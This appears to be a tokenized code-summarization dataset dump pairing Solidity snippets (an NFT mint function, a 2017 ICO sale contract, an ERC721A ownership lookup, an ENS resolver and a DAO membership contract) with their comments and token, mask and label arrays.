-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x1C0171731BA9aae313C4065FC4865C37ec4bc1b6/sources/contracts/pizza.sol
|
* @dev Mints new tokens./ if (totalSupply() < MINTS_PER_TIER) return mintInternal(); return mintInternal();
|
function bakePizza() public payable {
require(msg.value >= PUBLIC_MINT_PRICE, "Payment too low, try .03");
return mintInternal();
}
| \ / _] / || \ | || | || \ / ] || |/ \ | \ / ___/
| D ) / [_ | o || \ | __|| | || _ | / /| | | || || _ ( \_
| / | _]| || D | | |_ | | || | |/ / |_| |_| | || O || | |\__ |
| \ | [_ | _ || | | _] | : || | / \_ | | | || || | |/ \ |
| . \| || | || | | | | || | \ | | | | || || | |\ |
|__|\_||_____||__|__||_____| |__| \__,_||__|__|\____| |__| |____|\___/ |__|__| \___|
| 12,524,053 |
[
1,
49,
28142,
394,
2430,
18,
19,
309,
261,
4963,
3088,
1283,
1435,
411,
490,
3217,
55,
67,
3194,
67,
23240,
654,
13,
327,
312,
474,
3061,
5621,
327,
312,
474,
3061,
5621,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
324,
911,
52,
452,
11939,
1435,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
3576,
18,
1132,
1545,
17187,
67,
49,
3217,
67,
7698,
1441,
16,
315,
6032,
4885,
4587,
16,
775,
263,
4630,
8863,
203,
4202,
203,
5411,
327,
312,
474,
3061,
5621,
203,
565,
289,
203,
203,
96,
565,
521,
282,
342,
225,
389,
65,
342,
565,
747,
282,
521,
1377,
571,
377,
747,
225,
571,
225,
747,
565,
521,
282,
342,
225,
308,
1377,
747,
565,
571,
19,
282,
521,
571,
565,
521,
342,
19608,
19,
203,
96,
225,
463,
225,
262,
342,
225,
306,
67,
571,
225,
320,
225,
747,
565,
521,
377,
571,
282,
1001,
20081,
225,
571,
225,
747,
225,
389,
225,
571,
342,
225,
342,
96,
1377,
571,
571,
225,
747,
377,
747,
225,
389,
225,
261,
282,
521,
67,
225,
203,
96,
565,
342,
571,
565,
389,
12369,
377,
747,
225,
463,
225,
571,
565,
571,
225,
571,
67,
225,
571,
225,
571,
225,
747,
225,
571,
225,
571,
19,
225,
342,
571,
67,
96,
225,
571,
67,
96,
571,
225,
747,
225,
531,
225,
747,
225,
571,
225,
571,
64,
972,
225,
571,
203,
96,
565,
521,
571,
282,
306,
67,
571,
225,
389,
225,
747,
377,
571,
565,
571,
282,
389,
65,
571,
225,
294,
225,
747,
225,
571,
225,
342,
282,
521,
67,
225,
571,
225,
571,
282,
571,
225,
747,
377,
747,
225,
571,
225,
571,
19,
225,
521,
571,
203,
96,
225,
263,
225,
521,
96,
377,
747,
225,
2
] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) { //was constant
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/************************************************************************************************
*
*************************************************************************************************/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function transfer(address receiver, uint amount) public ;
function transferFrom(address sender, address receiver, uint amount) public returns(bool success); // do token.approve on the ICO contract
function balanceOf(address _owner) constant public returns (uint256 balance);
}
/************************************************************************************************
*
*************************************************************************************************/
contract ASTRICOSale is Ownable {
ERC20 public token; // using the ASTRCoin token - will set an address
// start and end of the sale - 4 weeks
uint256 public startTime;
uint256 public endTime;
// where funds are collected
address public wallet; // beneficiary
address public ownerAddress; // deploy owner
// amount of raised money in wei
uint256 public weiRaised;
uint8 internal decimals = 4; // 4 decimal places should be enough in general
uint256 internal decimalsConversion = 10 ** uint256(decimals);
uint256 internal ALLOC_CROWDSALE = 90000000 * decimalsConversion; // (10 ** uint256(decimals)); // 90 mill in ICO
// 90MIL 90000000
// 10MIL 10000000
// 90MIL 4DCP 900000000000
uint internal BASIC_RATE = 631 * decimalsConversion; // based on the price of ether at 755 USD
uint public PRICE_VARIABLE = 0 * decimalsConversion;
//TIME LIMITS
uint256 public astrSold = 0;
bool public halted;
bool public crowdsaleClosed;
// simple event to track purchases
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier isNotHalted() { require(!halted); _; }
modifier afterDeadline() { if (now >= endTime) _; }
/**
* Constructor for ASTRICOSale
*
* 1513908673
* Friday, December 22, 2017 10:11:13 AM GMT+08:00
*
* 1517414400
* Thursday, February 1, 2018 12:00:00 AM GMT+08:00
*
* 90000000000
*/
// function ASTRCoinCrowdSale(address _token, uint256 _startTime, address _ethWallet) public {
function ASTRICOSale() public {
// require(_startTime >= now);
// require(_ethWallet != 0x0);
crowdsaleClosed = false;
halted = false;
startTime = 1513908673; // Friday, December 22, 2017 10:11:13 AM GMT+08:00
endTime = 1517414400; // Thursday, February 1, 2018 12:00:00 AM GMT+08:00
wallet = ERC20(0x3baDA155408AB1C9898FDF28e545b51f2f9a65CC); // This wallet needs to give permission for the ICO to transfer Tokens
ownerAddress = ERC20(0x3EFAe2e152F62F5cc12cc0794b816d22d416a721); // This is bad in theory but does fix the 2300 gas problem
token = ERC20(0x80E7a4d750aDe616Da896C49049B7EdE9e04C191); // Ropsten we have pregenerated thiss
}
// fallback function can be used to buy tokens
function () public payable {
require(msg.sender != 0x0);
require(validPurchase());
require(!halted); // useful to test if we have paused it
uint256 weiAmount = msg.value; // money sent in wei
uint256 tokens = SafeMath.div(SafeMath.mul(weiAmount, getCurrentRate()), 1 ether);
require(ALLOC_CROWDSALE - astrSold >= tokens);
weiRaised += weiAmount;
astrSold += tokens;
token.transferFrom(ownerAddress, msg.sender, tokens);
wallet.transfer(msg.value); // transfer straight away wallet
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = (msg.value != 0);
bool astrAvailable = (ALLOC_CROWDSALE - astrSold) > 0;
return withinPeriod && nonZeroPurchase && astrAvailable && ! crowdsaleClosed;
}
function getCurrentRate() internal constant returns (uint256) {
if( PRICE_VARIABLE > 0 ) {
return PRICE_VARIABLE; // we can manually set prices if we want
}
return BASIC_RATE;
}
// this closes it when we want to close - rather than waiting
function setNewRate(uint256 _coinsPerEther) onlyOwner public {
if( _coinsPerEther > 0 ) {
PRICE_VARIABLE = _coinsPerEther * decimalsConversion;
}
}
// this closes it when we want to close - rather than waiting
function setFixedRate() onlyOwner public {
PRICE_VARIABLE = 0 * decimalsConversion;
}
// this closes it when we want to close - rather than waiting - this is bad
function closeSaleAnyway() onlyOwner public {
// wallet.transfer(weiRaised);
crowdsaleClosed = true;
}
// this closes it when we want to close - rather than waiting
function safeCloseSale() onlyOwner afterDeadline public {
// wallet.transfer(weiRaised);
crowdsaleClosed = true;
}
function pause() onlyOwner public {
halted = true;
}
function unpause() onlyOwner public {
halted = false;
}
}
|
based on the price of ether at 755 USD
|
uint internal BASIC_RATE = 631 * decimalsConversion;
| 7,299,296 |
[
1,
12261,
603,
326,
6205,
434,
225,
2437,
622,
2371,
2539,
587,
9903,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
2254,
2713,
28143,
18118,
67,
24062,
3639,
273,
1666,
6938,
380,
15105,
6814,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1E834E59a9ef77A5fc17F055d71A287Ec484BeBC/sources/SANI.sol
|
solium-disable-line uppercase
|
string public constant symbol = "SANI2.0";
| 4,235,170 |
[
1,
18281,
5077,
17,
8394,
17,
1369,
18966,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
533,
1071,
5381,
3273,
273,
315,
22721,
45,
22,
18,
20,
14432,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xAB070cdaF247A0b8e42F54a882E9d2faa74619e4/sources/contracts/ERC721A.sol
|
* Returns the packed ownership data of `tokenId`./ If not burned. Invariant: There will always be an ownership that has an address and is not burned before an ownership that does not have an address and is not burned. Hence, curr will not underflow. We can directly compare the packed value. If the address is zero, packed is zero.
|
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
| 3,019,473 |
[
1,
1356,
326,
12456,
23178,
501,
434,
1375,
2316,
548,
8338,
19,
971,
486,
18305,
329,
18,
657,
8688,
30,
6149,
903,
3712,
506,
392,
23178,
716,
711,
392,
1758,
471,
353,
486,
18305,
329,
1865,
392,
23178,
716,
1552,
486,
1240,
392,
1758,
471,
353,
486,
18305,
329,
18,
670,
802,
16,
4306,
903,
486,
3613,
2426,
18,
1660,
848,
5122,
3400,
326,
12456,
460,
18,
971,
326,
1758,
353,
3634,
16,
12456,
353,
3634,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
389,
2920,
329,
5460,
12565,
951,
12,
11890,
5034,
1147,
548,
13,
3238,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
202,
202,
11890,
5034,
4306,
273,
1147,
548,
31,
203,
203,
202,
202,
5847,
288,
203,
1082,
202,
430,
261,
67,
1937,
1345,
548,
1435,
1648,
4306,
13,
203,
9506,
202,
430,
261,
17016,
411,
389,
2972,
1016,
13,
288,
203,
6862,
202,
11890,
5034,
12456,
273,
389,
2920,
329,
5460,
12565,
87,
63,
17016,
15533,
203,
6862,
202,
430,
261,
2920,
329,
473,
20469,
11704,
67,
38,
8521,
2056,
422,
374,
13,
288,
203,
25083,
202,
17523,
261,
2920,
329,
422,
374,
13,
288,
203,
6862,
1082,
202,
2920,
329,
273,
389,
2920,
329,
5460,
12565,
87,
63,
413,
17016,
15533,
203,
25083,
202,
97,
203,
25083,
202,
2463,
12456,
31,
203,
6862,
202,
97,
203,
9506,
202,
97,
203,
202,
202,
97,
203,
202,
202,
266,
1097,
16837,
1138,
1290,
3989,
19041,
1345,
5621,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xCbbd3E8633BBa5365fCae84C413c73D030EB6fb9/sources/@ensdomains/ens-contracts/contracts/resolvers/profiles/ContentHashResolver.sol
|
* Returns the contenthash associated with an ENS node. @param node The ENS node to query. @return The associated contenthash./
|
function contenthash(
bytes32 node
) external view virtual override returns (bytes memory) {
return versionable_hashes[recordVersions[node]][node];
}
| 9,618,875 |
[
1,
1356,
326,
913,
2816,
3627,
598,
392,
512,
3156,
756,
18,
225,
756,
1021,
512,
3156,
756,
358,
843,
18,
327,
1021,
3627,
913,
2816,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
913,
2816,
12,
203,
3639,
1731,
1578,
756,
203,
565,
262,
3903,
1476,
5024,
3849,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
1177,
429,
67,
17612,
63,
3366,
5940,
63,
2159,
65,
6362,
2159,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/draft-ERC721Votes.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Context.sol";
// Core contracts of CodeforDAO
import { DataTypes } from "../libraries/DataTypes.sol";
import { Errors } from "../libraries/Errors.sol";
import { Events } from "../libraries/Events.sol";
/**
* @title Membership
* @notice The Membership Card NFT contract issues the most important part of DAO: membership.
* This contract is the entry point for all the constituent DAO contracts,
* and it creates all the subcontracts, including the 2 governance contracts and the vault contract.
* The indexes of all subcontracts look up the tokenID of this contract
*/
contract Membership is
Context,
AccessControlEnumerable,
Pausable,
ERC721Enumerable,
ERC721Burnable,
ERC721Votes
{
using Counters for Counters.Counter;
using Strings for uint256;
// Governance related contracts
address public treasury;
address public governor;
address public shareToken;
address public shareGovernor;
// NFT Membership related states
/// @dev keccak256('PAUSER_ROLE')
bytes32 public constant PAUSER_ROLE =
0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a;
/// @dev keccak256('INVITER_ROLE')
bytes32 public constant INVITER_ROLE =
0x639cc15674e3ab889ef8ffacb1499d6c868345f7a98e2158a7d43d23a757f8e0;
string private _baseTokenURI;
string private _contractURI;
bytes32 private _merkleTreeRoot;
Counters.Counter private _tokenIdTracker;
mapping(uint256 => string) private _decentralizedStorage;
mapping(uint256 => bool) private _isInvestor;
constructor(
DataTypes.BaseToken memory membership,
string memory baseTokenURI,
string memory contractURI
) ERC721(membership.name, membership.symbol) EIP712(membership.name, "1") {
_baseTokenURI = baseTokenURI;
_contractURI = contractURI;
_grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
_grantRole(PAUSER_ROLE, _msgSender());
_grantRole(INVITER_ROLE, _msgSender());
}
/**
* @dev Returns the DAO's membership token URI
*/
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId), Errors.ERC721METADATA_NONEXIST_TOKEN);
string memory baseURI = _baseURI();
if (bytes(_decentralizedStorage[tokenId]).length > 0) {
